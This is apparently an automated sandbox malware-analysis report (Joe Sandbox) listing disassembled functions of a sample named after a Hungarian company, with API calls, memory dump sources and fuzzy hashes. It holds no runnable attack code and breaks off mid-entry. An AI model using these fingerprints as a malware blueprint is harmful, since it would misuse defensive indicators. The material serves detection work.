                                                              • Opcode ID: 54c7071fcb3d47174c4108435e8741af49624cf348e5c9d33fc505091ed186e6
                                                              • Instruction ID: a20f843988d14769cde1f44475c7203720aa1e7aeb006bbc368ab777efd0b402
                                                              • Opcode Fuzzy Hash: 54c7071fcb3d47174c4108435e8741af49624cf348e5c9d33fc505091ed186e6
                                                              • Instruction Fuzzy Hash: 13B19A71600215EBDF24CF68C9C9BE97BB1BF04715F08C169ED489B295EB38AD50CBA0
                                                              Function 00732A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0076C1C7,00000004,00000000,00000000,00000000), ref: 00732ACF
                                                              • ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,0076C1C7,00000004,00000000,00000000,00000000,000000FF), ref: 00732B17
                                                              • ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,0076C1C7,00000004,00000000,00000000,00000000), ref: 0076C21A
                                                              • ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0076C1C7,00000004,00000000,00000000,00000000), ref: 0076C286
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ShowWindow
                                                              • String ID:
                                                              • API String ID: 1268545403-0
                                                              • Opcode ID: 60ed5e7d993762ecb642fe8dbf9ac53159acf5896ed2f1292c1ad9b42f71263f
                                                              • Instruction ID: eea7c2630870551f286c4229eaba10a91c08a8bdf8645a927e9a5ae97bf7fe7e
                                                              • Opcode Fuzzy Hash: 60ed5e7d993762ecb642fe8dbf9ac53159acf5896ed2f1292c1ad9b42f71263f
                                                              • Instruction Fuzzy Hash: 0A41F831204680AFE73A9B29CC9CB7A7B92BB45310F64C819ED8786563C67DA843D720
                                                              Function 007970C6 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • InterlockedExchange.KERNEL32(?,000001F5), ref: 007970DD
                                                                • Part of subcall function 00750DB6: std::exception::exception.LIBCMT ref: 00750DEC
                                                                • Part of subcall function 00750DB6: __CxxThrowException@8.LIBCMT ref: 00750E01
                                                              • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00797114
                                                              • EnterCriticalSection.KERNEL32(?), ref: 00797130
                                                              • _memmove.LIBCMT ref: 0079717E
                                                              • _memmove.LIBCMT ref: 0079719B
                                                              • LeaveCriticalSection.KERNEL32(?), ref: 007971AA
                                                              • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 007971BF
                                                              • InterlockedExchange.KERNEL32(?,000001F6), ref: 007971DE
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
                                                              • String ID:
                                                              • API String ID: 256516436-0
                                                              • Opcode ID: db806c25c9852f13dd49eb4d2a98e432dfcce0c030629f5b79083ead320a7de5
                                                              • Instruction ID: f077e12a8fc531d51397f6015b7dfff1689450835f51340b3468f4c71b36a7f4
                                                              • Opcode Fuzzy Hash: db806c25c9852f13dd49eb4d2a98e432dfcce0c030629f5b79083ead320a7de5
                                                              • Instruction Fuzzy Hash: 7C315231A00209EBCF00EFA4DC89EAE7778FF45711F1481A5ED04AB256D7789E14CBA4
                                                              Function 007B61D3 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • DeleteObject.GDI32(00000000), ref: 007B61EB
                                                              • GetDC.USER32(00000000), ref: 007B61F3
                                                              • GetDeviceCaps.GDI32(00000000,0000005A), ref: 007B61FE
                                                              • ReleaseDC.USER32(00000000,00000000), ref: 007B620A
                                                              • CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 007B6246
                                                              • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 007B6257
                                                              • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,007B902A,?,?,000000FF,00000000,?,000000FF,?), ref: 007B6291
                                                              • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 007B62B1
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                              • String ID:
                                                              • API String ID: 3864802216-0
                                                              • Opcode ID: 7696cf409ab009b55e9912145537ebcf8f4824b2991abf5df899774781dbe0bc
                                                              • Instruction ID: 27ef5fe3394294c94806da0c4e3b9065b506b663bd809bbacef498be11689f1f
                                                              • Opcode Fuzzy Hash: 7696cf409ab009b55e9912145537ebcf8f4824b2991abf5df899774781dbe0bc
                                                              • Instruction Fuzzy Hash: C7314F72101214BFEB118F54CC8AFEA3BA9FF49765F044165FE089A191D6799C41CB64
                                                              Function 0078BBAF Relevance: 12.1, APIs: 8, Instructions: 92COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _memcmp
                                                              • String ID:
                                                              • API String ID: 2931989736-0
                                                              • Opcode ID: 7f2c627c7552f50284cd13bae2f1d48e7ce529fbef3dbb2c1dd88ac160644dc5
                                                              • Instruction ID: b3b8c8c6ad68c3d40ff96b236572a74de7341655c3823fb4dbd098c759e997d8
                                                              • Opcode Fuzzy Hash: 7f2c627c7552f50284cd13bae2f1d48e7ce529fbef3dbb2c1dd88ac160644dc5
                                                              • Instruction Fuzzy Hash: 0521CFE1681305BBB21476219D46FFB7B5D9E10389F484028FD0596A43EBACDE1683B1
                                                              Function 0079EB23 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00739837: __itow.LIBCMT ref: 00739862
                                                                • Part of subcall function 00739837: __swprintf.LIBCMT ref: 007398AC
                                                                • Part of subcall function 0074FC86: _wcscpy.LIBCMT ref: 0074FCA9
                                                              • _wcstok.LIBCMT ref: 0079EC94
                                                              • _wcscpy.LIBCMT ref: 0079ED23
                                                              • _memset.LIBCMT ref: 0079ED56
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _wcscpy$__itow__swprintf_memset_wcstok
                                                              • String ID: X
                                                              • API String ID: 774024439-3081909835
                                                              • Opcode ID: fe46040143a9540046e2d7ff6c3c9dd8581f4f2751a9c6ea550fb6f56b82a8fc
                                                              • Instruction ID: c0818e91cb66f8a0ad15cbd7fbafc4e5eadd01ccb7b804d459802872151b0b31
                                                              • Opcode Fuzzy Hash: fe46040143a9540046e2d7ff6c3c9dd8581f4f2751a9c6ea550fb6f56b82a8fc
                                                              • Instruction Fuzzy Hash: 6CC19271608340DFDB64EF24D889A5AB7E4FF85310F00492DF999972A2DB78EC45CB42
                                                              Function 00731424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: e4c748f79875f6b707158e92affc1b3f9174e52d2e8cc610b970b291ce4ebb8d
                                                              • Instruction ID: 3f1e6e70c5e19346c85e02d93459c0a482105e944b24db5074438c83fb5f230d
                                                              • Opcode Fuzzy Hash: e4c748f79875f6b707158e92affc1b3f9174e52d2e8cc610b970b291ce4ebb8d
                                                              • Instruction Fuzzy Hash: 75716C30900149EFDB04DF98CC89EBEBB79FF85310F54C159F915AA252C738AA51CBA4
                                                              Function 007A6B76 Relevance: 10.7, APIs: 7, Instructions: 212COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 5b80ba536f0da0bb6d499a197483aa9ffde3470dfb14d13f8291c0602e87678f
                                                              • Instruction ID: 919e9ea54eafa34375a768fda7192e0cd397d0b79e49d220f40390b3adee9bcb
                                                              • Opcode Fuzzy Hash: 5b80ba536f0da0bb6d499a197483aa9ffde3470dfb14d13f8291c0602e87678f
                                                              • Instruction Fuzzy Hash: BD61BFB1208300EBDB10EB24CC89F6BB7A8AFD5714F544A1DF5559B292DB78ED04CB92
                                                              Function 007BB351 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • IsWindow.USER32(01936A58), ref: 007BB3EB
                                                              • IsWindowEnabled.USER32(01936A58), ref: 007BB3F7
                                                              • SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 007BB4DB
                                                              • SendMessageW.USER32(01936A58,000000B0,?,?), ref: 007BB512
                                                              • IsDlgButtonChecked.USER32(?,?), ref: 007BB54F
                                                              • GetWindowLongW.USER32(01936A58,000000EC), ref: 007BB571
                                                              • SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 007BB589
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageSendWindow$ButtonCheckedEnabledLong
                                                              • String ID:
                                                              • API String ID: 4072528602-0
                                                              • Opcode ID: e0fc058789072627763f5ffcda8cd3626c21224cbad756272642abcf488fd86f
                                                              • Instruction ID: c91046d22ef660962edf6052f93e56a3623aba17c69171ceea4b7f3859ea016f
                                                              • Opcode Fuzzy Hash: e0fc058789072627763f5ffcda8cd3626c21224cbad756272642abcf488fd86f
                                                              • Instruction Fuzzy Hash: F3718E34604644EFDB249F94C894FFABBB9FF09300F148169FE45972A2C7B9A950CB50
                                                              Function 007AF41E Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 007AF448
                                                              • _memset.LIBCMT ref: 007AF511
                                                              • ShellExecuteExW.SHELL32(?), ref: 007AF556
                                                                • Part of subcall function 00739837: __itow.LIBCMT ref: 00739862
                                                                • Part of subcall function 00739837: __swprintf.LIBCMT ref: 007398AC
                                                                • Part of subcall function 0074FC86: _wcscpy.LIBCMT ref: 0074FCA9
                                                              • GetProcessId.KERNEL32(00000000), ref: 007AF5CD
                                                              • CloseHandle.KERNEL32(00000000), ref: 007AF5FC
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
                                                              • String ID: @
                                                              • API String ID: 3522835683-2766056989
                                                              • Opcode ID: 7fdb85e9d50f57da44f56adcdc3dfe4b63b78442bb6609628cce0d565444d8b4
                                                              • Instruction ID: 0539fed3ae308509c2a3b16de9de9d5f431547785b2c5fae382f94e2b044a356
                                                              • Opcode Fuzzy Hash: 7fdb85e9d50f57da44f56adcdc3dfe4b63b78442bb6609628cce0d565444d8b4
                                                              • Instruction Fuzzy Hash: D761C175A00619DFCB04DFA8C8859AEBBF5FF89310F148169E855AB352CB38AD41CF90
                                                              Function 00790F4D Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetParent.USER32(?), ref: 00790F8C
                                                              • GetKeyboardState.USER32(?), ref: 00790FA1
                                                              • SetKeyboardState.USER32(?), ref: 00791002
                                                              • PostMessageW.USER32(?,00000101,00000010,?), ref: 00791030
                                                              • PostMessageW.USER32(?,00000101,00000011,?), ref: 0079104F
                                                              • PostMessageW.USER32(?,00000101,00000012,?), ref: 00791095
                                                              • PostMessageW.USER32(?,00000101,0000005B,?), ref: 007910B8
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessagePost$KeyboardState$Parent
                                                              • String ID:
                                                              • API String ID: 87235514-0
                                                              • Opcode ID: ec4a5abc017da0447160f050412ffc42e2bb4257bbda507e355415cbda183960
                                                              • Instruction ID: cac217d83763e86b7c1425b14d3931b073114f3cc196f9ebf101a9aeee402c29
                                                              • Opcode Fuzzy Hash: ec4a5abc017da0447160f050412ffc42e2bb4257bbda507e355415cbda183960
                                                              • Instruction Fuzzy Hash: 675124606447D67DFF3242389C09BBABEAA6B06304F088589E1D4458C3C2DDECE8D750
                                                              Function 00790D66 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetParent.USER32(00000000), ref: 00790DA5
                                                              • GetKeyboardState.USER32(?), ref: 00790DBA
                                                              • SetKeyboardState.USER32(?), ref: 00790E1B
                                                              • PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00790E47
                                                              • PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00790E64
                                                              • PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00790EA8
                                                              • PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00790EC9
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessagePost$KeyboardState$Parent
                                                              • String ID:
                                                              • API String ID: 87235514-0
                                                              • Opcode ID: 2ac316fb2de085d29b4d4f33f8a58e56f232ce7f2de06254f75a91f6d2a48a8a
                                                              • Instruction ID: 8e8d78bbb47f082902a0c25a26a9a4355c68a16663308b3a676bb2985b4be025
                                                              • Opcode Fuzzy Hash: 2ac316fb2de085d29b4d4f33f8a58e56f232ce7f2de06254f75a91f6d2a48a8a
                                                              • Instruction Fuzzy Hash: 2E5115A06247D57DFF3297349C45B7ABFA96B06300F088889F1D4468C2C39DAC98D7A0
                                                              Function 007955FD Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _wcsncpy$LocalTime
                                                              • String ID:
                                                              • API String ID: 2945705084-0
                                                              • Opcode ID: f8d2f805e93b424e0807265e970f83167aafab74fc9b56a128c702a52a2ffa2e
                                                              • Instruction ID: 92596ccff6642e3f08c1f90077b0b98a9c18fa44bd22381bdbb0da514adab1f4
                                                              • Opcode Fuzzy Hash: f8d2f805e93b424e0807265e970f83167aafab74fc9b56a128c702a52a2ffa2e
                                                              • Instruction Fuzzy Hash: 0041BA66C10614B6CF11EBF4DC4AACFB3B89F05311F508555E908E3222FB78A759C7A6
                                                              Function 0078D56C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 121comlibraryloaderCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 0078D5D4
                                                              • SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 0078D60A
                                                              • GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 0078D61B
                                                              • SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 0078D69D
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ErrorMode$AddressCreateInstanceProc
                                                              • String ID: ,,|$DllGetClassObject
                                                              • API String ID: 753597075-1863548374
                                                              • Opcode ID: e2d6ff8124b4477ad0e1f64af55b05a46c8b4a09177c0c9cb9d634e0f25cfc0d
                                                              • Instruction ID: 33faf06a276931ff64702757cbceda6bd99f87eb17ca893820e9ddad4a565856
                                                              • Opcode Fuzzy Hash: e2d6ff8124b4477ad0e1f64af55b05a46c8b4a09177c0c9cb9d634e0f25cfc0d
                                                              • Instruction Fuzzy Hash: CE4191B1640208EFDB25EF54C884B9A7BA9EF44350F1581ADEC09DF245E7B9DD40CBA0
                                                              Function 00793671 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0079466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00793697,?), ref: 0079468B
                                                                • Part of subcall function 0079466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00793697,?), ref: 007946A4
                                                              • lstrcmpiW.KERNEL32(?,?), ref: 007936B7
                                                              • _wcscmp.LIBCMT ref: 007936D3
                                                              • MoveFileW.KERNEL32(?,?), ref: 007936EB
                                                              • _wcscat.LIBCMT ref: 00793733
                                                              • SHFileOperationW.SHELL32(?), ref: 0079379F
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
                                                              • String ID: \*.*
                                                              • API String ID: 1377345388-1173974218
                                                              • Opcode ID: adaaba427517a65e838092e50f1ee0e7c173fa58c48ff27a584ba24014f26eac
                                                              • Instruction ID: 1129b67c4baeb2f45af4ae16e149a0846319da67bf2a918522ee4cd86bcfd7d1
                                                              • Opcode Fuzzy Hash: adaaba427517a65e838092e50f1ee0e7c173fa58c48ff27a584ba24014f26eac
                                                              • Instruction Fuzzy Hash: 3F4194B1508344AEDB51EF64D446DDF77E8EF89340F00492EF499C3251EA38D689C756
                                                              Function 007B7291 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 007B72AA
                                                              • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 007B7351
                                                              • IsMenu.USER32(?), ref: 007B7369
                                                              • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 007B73B1
                                                              • DrawMenuBar.USER32 ref: 007B73C4
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Menu$Item$DrawInfoInsert_memset
                                                              • String ID: 0
                                                              • API String ID: 3866635326-4108050209
                                                              • Opcode ID: 4c786b2fb4b03989a75998b45bcdb36c65388d3a62cfc7f7bd7ec8e5250d871b
